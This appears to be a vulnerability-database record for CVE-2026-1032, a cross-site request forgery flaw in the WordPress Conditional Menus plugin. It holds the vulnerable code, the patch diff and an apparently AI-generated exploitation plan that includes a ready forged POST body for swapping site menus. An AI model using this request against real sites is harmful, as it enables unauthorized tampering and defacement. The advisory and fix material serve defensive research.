[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fEAlSNw1lglB-lCkYIdPMazlxssu_rjlipPA-RsaO_58":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-1032","conditional-menus-cross-site-request-forgery-to-menu-options-update","Conditional Menus \u003C= 1.2.6 - Cross-Site Request Forgery to Menu Options Update","The Conditional Menus plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.6. This is due to missing nonce validation on the 'save_options' function. This makes it possible for unauthenticated attackers to modify conditional menu assignments via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","conditional-menus",null,"\u003C=1.2.6","1.2.7","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-03-25 00:00:00","2026-03-26 13:26:09",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7f4cf85d-6105-4f7d-b4a0-18a3513a93a8?source=api-prod",2,[22,23,24,25],"assets\u002Fadmin.js","init.php","readme.txt","templates\u002Fconditions.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-1032\n\n## 1. Vulnerability Summary\nThe **Conditional Menus** plugin (\u003C= 1.2.6) for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists in the `Themify_Conditional_Menus::save_options` function. This function is responsible for saving conditional menu assignments but fails to perform any nonce validation (`check_admin_referer` or `wp_verify_nonce`). An attacker can trick a logged-in administrator into submitting a crafted POST request to modify which menus are displayed on specific pages of the site, effectively allowing unauthorized content manipulation or site defacement.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Endpoint:** `\u002Fwp-admin\u002Fnav-menus.php?action=locations`\n- **HTTP Method:** `POST`\n- **Authentication Level:** Administrator (via CSRF)\n- **Vulnerable Action:** The `save_options()` method is triggered via the `load-nav-menus.php` hook when the `action` GET parameter is set to `locations`.\n- **Payload Parameters:** \n    - `menu-locations[\u003Clocation_slug>]`: Required to pass the initial `isset` check in `save_options`.\n    - `themify_cm[\u003Clocation_slug>][\u003Cindex>][menu]`: The ID of the replacement menu.\n    - `themify_cm[\u003Clocation_slug>][\u003Cindex>][condition]`: A URL-encoded string representing display conditions (e.g., `general[home]=on`).\n\n## 3. Code Flow\n1. **Hook Registration (`init.php`):**\n   The plugin registers the `setup` method during `plugins_loaded`.\n   ```php\n   add_action( 'load-nav-menus.php', array( $this, 'init' ) );\n   ```\n2. **Initialization (`init.php`):**\n   When an admin visits the \"Manage Locations\" tab in Menus (`nav-menus.php?action=locations`), the `init` method is called.\n   ```php\n   public function init() {\n       if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {\n           $this->save_options(); \u002F\u002F This is called on every load of this page if action=locations\n           \u002F\u002F ...\n       }\n   }\n   ```\n3. **Vulnerable Sink (`init.php`):**\n   The `save_options()` method processes POST data directly.\n   ```php\n   public function save_options() {\n       if( isset( $_POST['menu-locations'] ) ) {\n           \u002F\u002F VULNERABILITY: No check_admin_referer() or wp_verify_nonce() here.\n           \u002F\u002F Processes $_POST['themify_cm'] and saves via set_theme_mod.\n       }\n   }\n   ```\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.** The vulnerability is defined by the absolute absence of nonce validation in the `save_options` function. Although WordPress core uses nonces on the `nav-menus.php` page, the plugin's `save_options` function executes independently of the core's nonce check when it detects its own parameters in a `POST` request to that URL.\n\n## 5. Exploitation Strategy\nThe goal is to use CSRF to assign a different menu to the \"Home\" page.\n\n### Step-by-Step Plan:\n1. **Identify IDs:** Identify a target menu ID (the \"malicious\" menu) and the theme's navigation location slug (e.g., `primary` or `main`).\n2. **Construct Payload:** Create a POST request that mimics the plugin's data structure.\n3. **Trigger CSRF:** Send the request to the target site using the administrator's session.\n\n### Technical Request (via `http_request`):\n- **URL:** `https:\u002F\u002F\u003Ctarget-domain>\u002Fwp-admin\u002Fnav-menus.php?action=locations`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  menu-locations[primary]=1&themify_cm[primary][1][menu]=2&themify_cm[primary][1][condition]=general[home]=on\n  ```\n  *(Where `primary` is the location, `1` is the default menu ID, and `2` is the replacement menu ID to be shown on the home page).*\n\n## 6. Test Data Setup\n1. **Create Menus:**\n   ```bash\n   # Create two menus\n   wp menu create \"Original Menu\"\n   wp menu create \"Evil Menu\"\n   \n   # Assign \"Original Menu\" to the primary location\n   wp menu location assign original-menu primary\n   ```\n2. **Identify IDs:**\n   ```bash\n   # Get the ID of the \"Evil Menu\"\n   EVIL_MENU_ID=$(wp menu list --fields=term_id,name | grep \"Evil Menu\" | awk '{print $1}')\n   # Get the ID of the \"Original Menu\"\n   ORIG_MENU_ID=$(wp menu list --fields=term_id,name | grep \"Original Menu\" | awk '{print $1}')\n   ```\n\n## 7. Expected Results\n- The HTTP response from `nav-menus.php` will likely be a `200 OK` or a `302 Redirect`.\n- The WordPress database will be updated with a new `theme_mod` named `themify_conditional_menus`.\n- When visiting the homepage, the \"Evil Menu\" will be displayed instead of the \"Original Menu\".\n\n## 8. Verification Steps\nAfter the exploit, verify the changes using WP-CLI:\n```bash\n# Check the conditional menu settings stored in theme_mods\nwp eval \"print_r(get_theme_mod('themify_conditional_menus'));\"\n```\n**Successful Output Example:**\n```php\nArray (\n    [primary] => Array (\n        [1] => Array (\n            [menu] => 2  \u002F\u002F The EVIL_MENU_ID\n            [condition] => general[home]=on\n        )\n    )\n)\n```\n\n## 9. Alternative Approaches\nIf the `primary` location slug is different, we can iterate through standard WordPress location slugs (`main`, `primary`, `header-menu`, `top-menu`). If the site uses a specific theme like Twenty Twenty-Four, the slug is often `primary`.\n\nIf `nav-menus.php` enforcement is somehow tighter, we could attempt to trigger the same `save_options` logic by calling `admin-ajax.php` if the plugin registered it there, but the source indicates it is strictly bound to `load-nav-menus.php`.","The Conditional Menus plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) because it fails to perform nonce validation in its save_options function. An attacker can exploit this by tricking a logged-in administrator into clicking a link, which then submits a crafted POST request to modify menu assignments across the site.","\u002F\u002F init.php lines 183-195\n\npublic function init() {\n    if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {\n        $this->save_options();\n        add_action( 'admin_enqueue_scripts', array( &$this, 'admin_enqueue' ) );\n    }\n}\n\npublic function save_options() {\n    if( isset( $_POST['menu-locations'] ) ) {\n        $themify_cm = isset( $_POST['themify_cm'] ) ? $_POST['themify_cm'] : array();\n        set_theme_mod( 'themify_conditional_menus', $themify_cm );\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fconditional-menus\u002F1.2.6\u002Finit.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fconditional-menus\u002F1.2.7\u002Finit.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fconditional-menus\u002F1.2.6\u002Finit.php\t2025-02-25 00:56:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fconditional-menus\u002F1.2.7\u002Finit.php\t2026-02-17 20:29:36.000000000 +0000\n@@ -181,14 +181,18 @@\n \t}\n \n \tpublic function init() {\n-\t\tif( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {\n+\t\tif( ( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) || isset( $_POST['menu-locations'] ) ) {\n \t\t\t$this->save_options();\n \t\t\tadd_action( 'admin_enqueue_scripts', array( &$this, 'admin_enqueue' ) );\n+\t\t\tadd_action( 'admin_footer', array( $this, 'output_nonce' ) );\n \t\t}\n \t}\n \n \tpublic function save_options() {\n \t\tif( isset( $_POST['menu-locations'] ) ) {\n+\t\t\tif ( ! isset( $_POST['themify_cm_nonce'] ) || ! wp_verify_nonce( $_POST['themify_cm_nonce'], 'themify_cm_nonce' ) ) {\n+\t\t\t\treturn;\n+\t\t\t}\n \t\t    $themify_cm = isset( $_POST['themify_cm'] ) ? $_POST['themify_cm'] : array();\n \t\t    set_theme_mod( 'themify_conditional_menus', $themify_cm );\n \t\t}\n@@ -200,9 +204,13 @@\n \t\tdie;\n \t}\n \n+\tpublic function output_nonce() {\n+\t\twp_nonce_field( 'themify_cm_nonce', 'themify_cm_nonce' );\n+\t}\n+\n \tpublic function admin_enqueue() {\n \t\tglobal $_wp_registered_nav_menus;\n-\t\t$version='1.2.3';\n+\t\t$version='1.2.7';","The exploit targets the WordPress 'Manage Locations' menu page which triggers the plugin's menu saving logic. An attacker needs to trick a logged-in Administrator into visiting a page that executes a CSRF payload. \n\n1. Target Endpoint: \u002Fwp-admin\u002Fnav-menus.php?action=locations\n2. HTTP Method: POST\n3. Authentication: Administrator privileges are required for the session being hijacked.\n4. Payload Requirements: The payload must include the 'menu-locations[LOCATION_SLUG]' parameter to pass the initial existence check. The actual manipulation occurs via the 'themify_cm' parameter, which is a nested array. \n   - Structure: themify_cm[LOCATION_SLUG][INDEX][menu]=NEW_MENU_ID\n   - Structure: themify_cm[LOCATION_SLUG][INDEX][condition]=CONDITION_STRING (e.g., 'general[home]=on')\n5. Execution: When the administrator's browser sends this POST request, the plugin updates the 'themify_conditional_menus' theme modification without verifying a nonce, resulting in the new menu being displayed on the specified page.","gemini-3-flash-preview","2026-04-17 23:04:12","2026-04-17 23:04:37",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.2.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fconditional-menus\u002Ftags\u002F1.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fconditional-menus.1.2.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fconditional-menus\u002Ftags\u002F1.2.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fconditional-menus.1.2.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fconditional-menus\u002Ftags"]